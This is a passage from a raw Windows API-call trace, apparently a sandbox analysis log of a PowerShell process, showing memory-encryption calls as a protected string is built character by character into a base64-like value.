Memory=0x3c4e94) returned 0x0 [0253.941] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰둵♔彺嘣炖\⋚) returned 0x10 [0253.941] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰둵♔彺嘣炖\⋚) returned 0x10 [0253.941] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.942] SysStringLen (param_1="DZPxGJzruOaBl泀ẋ") returned 0x10 [0253.942] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.943] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰烪\嗟핫㠳⚘檺Ꮃ∻) returned 0x10 [0253.943] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰烪\嗟핫㠳⚘檺Ꮃ∻) returned 0x10 [0253.943] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.943] SysStringLen (param_1="DZPxGJzruOaBlr泀ẋ") returned 0x10 [0253.943] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.943] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰菠踽ㄯࡋ擟똹ﯛ뛓") returned 0x10 [0253.943] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰菠踽ㄯࡋ擟똹ﯛ뛓") returned 0x10 [0253.943] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.944] SysStringLen (param_1="DZPxGJzruOaBlrzẋ") returned 0x10 [0253.944] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.944] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰ꓳ犯̓㬯↹㞪⤔") returned 0x10 [0253.944] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰ꓳ犯̓㬯↹㞪⤔") returned 0x10 [0253.944] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.944] SysStringLen (param_1="DZPxGJzruOaBlrz6") returned 0x10 [0253.944] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.944] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ") returned 0x10 [0253.945] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ") returned 0x10 [0253.945] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ") returned 0x10 [0253.945] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ") returned 0x18 [0253.946] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.946] SysStringLen (param_1="DZPxGJzruOaBlrz6K쏖ࡎ\飚ட땐∳) returned 0x18 [0253.946] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.946] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ倖諝哬㗹䯾ᚅ쏫꟎") returned 0x18 [0253.946] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ倖諝哬㗹䯾ᚅ쏫꟎") returned 0x18 [0253.946] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.946] SysStringLen (param_1="DZPxGJzruOaBlrz6Klࡎ\飚ட땐∳) returned 0x18 [0253.946] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.947] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ㬤液᳡ੇ閚鰑께帻") returned 0x18 [0253.947] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ㬤液᳡ੇ閚鰑께帻") returned 0x18 [0253.947] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.947] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVࡎ\飚ட땐∳) returned 0x18 [0253.947] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.947] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎኣ᪗铃❫㿞牴틇䊐") returned 0x18 [0253.947] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎኣ᪗铃❫㿞牴틇䊐") returned 0x18 [0253.947] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.947] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVz\飚ட땐∳) returned 0x18 [0253.947] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.948] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎጳ倬ം髎虳ꇝ㼹ꃞ") returned 0x18 [0253.948] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎጳ倬ം髎虳ꇝ㼹ꃞ") returned 0x18 [0253.948] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.948] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzS龘個㎵") returned 0x18 [0253.948] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.948] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ魝☲\柛핃蔙蔟⊣) returned 0x18 [0253.948] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ魝☲\柛핃蔙蔟⊣) returned 0x18 [0253.948] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.949] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSS個㎵") returned 0x18 [0253.949] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.949] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ∊搵ᷜ헧쀎ߛ鮊忑") returned 0x18 [0253.949] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ∊搵ᷜ헧쀎ߛ鮊忑") returned 0x18 [0253.949] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.949] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQ㎵") returned 0x18 [0253.949] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.949] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ챐踏苾ꮪό螓灮") returned 0x18 [0253.949] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ챐踏苾ꮪό螓灮") returned 0x18 [0253.949] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.950] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ") returned 0x18 [0253.950] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.950] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿") returned 0x18 [0253.950] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿") returned 0x18 [0253.950] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿") returned 0x18 [0253.951] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿") returned 0x20 [0253.951] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.951] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+끃锉࿵䧙␇궄") returned 0x20 [0253.952] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.952] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿\ﳛ䳨㰂蝆褔⊿) returned 0x20 [0253.952] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿\ﳛ䳨㰂蝆褔⊿) returned 0x20 [0253.952] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.952] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+0锉࿵䧙␇궄") returned 0x20 [0253.952] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.952] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿◑촽猒ﻨ鱵꼓") returned 0x20 [0253.952] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿◑촽猒ﻨ鱵꼓") returned 0x20 [0253.952] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.953] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02࿵䧙␇궄") returned 0x20 [0253.953] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.953] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿뛚焽ⴠⳆ鼝ꖮ〦") returned 0x20 [0253.953] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿뛚焽ⴠⳆ鼝ꖮ〦") returned 0x20 [0253.953] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.953] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02P䧙␇궄") returned 0x20 [0253.953] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.954] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿〻﵍㸯圍惦쪩") returned 0x20 [0253.954] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿〻﵍㸯圍惦쪩") returned 0x20 [0253.954] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.954] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02PO␇궄") returned 0x20 [0253.954] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.954] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿좰譕莏㭡֠斴낡툭") returned 0x20 [0253.954] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿좰譕莏㭡֠斴낡툭") returned 0x20 [0253.954] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.954] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG궄") returned 0x20 [0253.955] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.955] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿䎥禵䬬鬊ִ詓韸") returned 0x20 [0253.955] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿䎥禵䬬鬊ִ詓韸") returned 0x20 [0253.955] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.955] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8궄") returned 0x20 [0253.955] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.955] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿扡ꮺ꙽冽狛엂ᗅ") returned 0x20 [0253.955] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿扡ꮺ꙽冽狛엂ᗅ") returned 0x20 [0253.955] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.956] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8u") returned 0x20 [0253.956] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.956] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱") returned 0x20 [0253.956] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱") returned 0x20 [0253.957] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱") returned 0x20 [0253.957] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱") returned 0x28 [0253.957] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.005] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8uH镓⁑藒晞ꭵ麹") returned 0x28 [0254.005] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.006] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱ꡌ畞找뗖⺏傻扤") returned 0x28 [0254.006] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱ꡌ畞找뗖⺏傻扤") returned 0x28 [0254.006] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.006] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8uHW⁑藒晞ꭵ麹") returned 0x28 [0254.006] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.006] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱\䇚뗌ꪁ滲鯯귉⋀) returned 0x28 [0254.006] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱\䇚뗌ꪁ滲鯯귉⋀) returned 0x28 [0254.006] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.007] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8uHWF藒晞ꭵ麹") returned 0x28 [0254.007] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.007] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱㭓牱ʶ뤥㕡ӌ℉") returned 0x28 [0254.007] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱㭓牱ʶ뤥㕡ӌ℉") returned 0x28 [0254.007] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.007] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8uHWFT晞ꭵ麹") returned 0x28 [0254.007] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.007] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱\xfde6杙筚ꬨ쵲檬㿝") returned 0x28 [0254.007] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱\xfde6杙筚ꬨ쵲檬㿝") returned 0x28 [0254.007] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.008] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8uHWFTYꭵ麹") returned 0x28 [0254.008] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.008] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱騇﫪碋⩭\ⷚὔ䢵⊵) returned 0x28 [0254.008] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱騇﫪碋⩭\ⷚὔ䢵⊵) returned 0x28 [0254.008] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.008] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8uHWFTYk麹") returned 0x28 [0254.008] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.008] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱₏⊙釃⛱扱䗍ຼ") returned 0x28 [0254.008] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱₏⊙釃⛱扱䗍ຼ") returned 0x28 [0254.009] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.009] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8uHWFTYki") returned 0x28 [0254.009] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.009] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱ꟽ᧸ิ䅆ᕒ骕\⋘) returned 0x28 [0254.009] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱ꟽ᧸ิ䅆ᕒ骕\⋘) returned 0x28 [0254.009] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.009] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8uHWFTYkik") returned 0x28 [0254.009] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.009] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱哻羌ᚉﲟ돼뙝臞托") returned 0x28 [0254.010] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱哻羌ᚉﲟ돼뙝臞托") returned 0x28 [0254.010] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱哻羌ᚉﲟ돼뙝臞托") returned 0x28 [0254.011] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱哻羌ᚉﲟ돼뙝臞托") returned 0x30 [0254.011] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0254.011] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8uHWFTYkikR䜙懠䙑㠓\"꽣") returned 0x30 [0254.011] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0254.011] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱哻羌ᚉﲟ돼뙝臞托漎᣿혀\\鏜㹲બ頺") returned 0x30 [0254.011] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱哻羌ᚉﲟ돼뙝臞托漎᣿혀\\鏜㹲બ頺") returned 0x30 [0254.011] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0254.011] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8uHWFTYkikRF懠䙑㠓\"꽣") returned 0x30 [0254.011] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0254.012] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱哻羌ᚉﲟ돼뙝臞托뫋凨≱⌌斿羰ﱈ\⋜) returned 0x30 [0254.012] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱哻羌ᚉﲟ돼뙝臞托뫋凨≱⌌斿羰ﱈ\⋜) returned 0x30 [0254.012] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0254.012] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8uHWFTYkikRF8䙑㠓\"꽣") returned 0x30 [0254.012] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0254.012] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱哻羌ᚉﲟ돼뙝臞托샭ൗ럏숍秕죮梘㣖") returned 0x30 [0254.012] SysStringLen (param_1="쫐Ꚓ薠䗟쭨峈ᾳ펰繪ףּ辭늀决⧧⍸ﺎ裖딻숶鉸鸒悿茿귆圸㼜ᴊ㨱哻羌ᚉﲟ돼뙝臞托샭ൗ럏숍秕죮梘㣖") returned 0x30 [0254.012] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0254.012] SysStringLen (param_1="DZPxGJzruOaBlrz6KlVzSSQZ+02POG8uHWFTYkikRF8=㠓\"꽣") returned 0x30 [0254.012] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0254.013] EtwEventActivityIdControl () returned 0x0 [0254.013] EtwEventActivityIdControl () returned 0x0 [0254.013] EtwEventActivityIdControl () returned 0x0 [0254.013] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.014] EtwEventActivityIdControl () returned 0x0 [0254.014] EtwEventActivityIdControl () returned 0x0 [0254.014] EtwEventActivityIdControl () returned 0x0 [0254.015] SysStringLen (param_1="") returned 0x8 [0254.015] SysStringLen (param_1="N") returned 0x8 [0254.015] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.015] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0254.015] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0254.015] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.015] SysStringLen (param_1="ND") returned 0x8 [0254.015] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.016] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0254.016] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0254.016] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.016] SysStringLen (param_1="NDZ") returned 0x8 [0254.016] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.016] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0254.016] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0254.016] SystemFunction041 (in: 